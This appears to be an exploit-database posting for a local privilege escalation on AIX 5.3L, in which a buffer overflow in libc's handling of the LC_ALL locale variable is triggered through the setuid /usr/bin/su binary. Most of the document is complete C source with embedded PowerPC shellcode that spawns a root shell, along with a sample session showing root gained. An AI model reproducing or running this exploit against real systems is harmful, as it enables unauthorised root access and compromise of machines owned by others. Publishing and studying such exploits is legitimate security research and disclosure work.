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AIX 5.3L libc Buffer Overflow

AIX 5.3L libc Buffer Overflow
Posted Nov 17, 2020
Authored by Hacker Fantastic

AIX version 5.3L libc local environment handling local root exploit. The AIX 5.3L (and possibly others) libc is vulnerable to multiple buffer overflow issues in the handling of locale environment variables. This allows for exploitation of any setuid root binary that makes use of functions such as setlocale() which do not perform bounds checking when handling LC_* environment variables. An attacker can leverage this issue to obtain root privileges on an impacted AIX system. This exploit makes use of the "/usr/bin/su" binary to trigger the overflow through LC_ALL and obtain root.

tags | exploit, overflow, local, root
systems | aix
MD5 | 5a8e7e11f2da1598bdca5bdbbf71d224

AIX 5.3L libc Buffer Overflow

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/*AIX 5.3L libc locale environment handling local root exploit
* ============================================================
* The AIX5.3L (and possibly others) libc is vulnerable to multiple
* buffer overflow issues in the handling of locale environment
* variables. This allows for exploitation of any setuid root binary
* that makes use of functions such as setlocale() which do not
* perform bounds checking when handling LC_* environment variables.
* An attacker can leverage this issue to obtain root privileges on
* an impacted AIX system. This exploit makes use of the "/usr/bin/su"
* binary to trigger the overflow through LC_ALL and obtain root.
*
* e.g
* bash-4.4$ oslevel;uname -a;ls -al `which su`
* 5.3.0.0
* AIX aix53l 3 5 000772244C00
* -r-sr-xr-x 1 root security 28598 May 06 2006 /usr/bin/su
* bash-4.4$ gcc aix53l-libc.c -o aix53l-libc
* bash-4.4$ ./aix53l-libc
* [ AIX5.3L libc locale environment handling local root exploit
* # id
* uid=202(user) gid=1(staff) euid=0(root)
*
* -- Hacker Fantastic
* (https://hacker.house)
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <memory.h>
#include <string.h>

char shellcode[]="\x7f\xff\xfb\x78" /* mr r31,r31 (nop) */
"\x7f\xff\xfb\x78" /* mr r31,r31 (nop) */
"\x7f\xff\xfb\x78" /* mr r31,r31 (nop) */
"\x7f\xff\xfb\x78" /* mr r31,r31 (nop) */
"\x7f\xff\xfb\x78" /* mr r31,r31 (nop) */
"\x7c\x84\x22\x78" /* xor r4,r4,r4 */
"\x7e\x94\xa2\x79" /* xor. r20,r20,r20 */
"\x40\x82\xff\xfd" /* bnel (seteuidcode) */
"\x7e\xa8\x02\xa6" /* mflr r21 */
"\x3a\xb5\x01\x40" /* cal r21,0x140(r21) */
"\x88\x55\xfe\xe0" /* lbz r2,-288(r21) */
"\x7e\x83\xa3\x78" /* mr r3,r20 */
"\x3a\xd5\xfe\xe4" /* cal r22,-284(r21) */
"\x7e\xc8\x03\xa6" /* mtlr r22 */
"\x4c\xc6\x33\x42" /* crorc cr6,cr6,cr6 */
"\x44\xff\xff\x02" /* svca */
"\xaa\x06\xff\xff" /* 0xab = seteuid 0x06 = execve */
"\x38\x75\xff\x04" /* cal r3,-252(r21) */
"\x38\x95\xff\x0c" /* cal r4,-244(r21) */
"\x7e\x85\xa3\x78" /* mr r5,r20 */
"\x90\x75\xff\x0c" /* st r3,-244(r21) */
"\x92\x95\xff\x10" /* st r20,-240(r21) */
"\x88\x55\xfe\xe1" /* lbz r2,-287(r21) */
"\x9a\x95\xff\x0b" /* stb r20,-245(r21) */
"\x4b\xff\xff\xd8" /* bl (setreuidcode+32) */
"/bin/sh";

int main(int argc, char* argv[]){
int i = 0;
int bufsize = 2048;
char* buffer = malloc(bufsize);
if(!buffer)
exit(0);
char* envp[] = {buffer,NULL};
char* argvp[] = {"su","/",NULL};
printf("[ AIX5.3L libc locale environment handling local root exploit\n");
memset(buffer,0,1024);
strcpy(buffer,"LC_ALL=");
for(i = 0;i < 334;i++){
strcat(buffer,"A");
}
strcat(buffer,"\x2f\xf2\x2f\x04"); // 0x2ff22f04
strcat(buffer,"AA");
strcat(buffer,shellcode);
execve("/usr/bin/su",argvp,envp);
}

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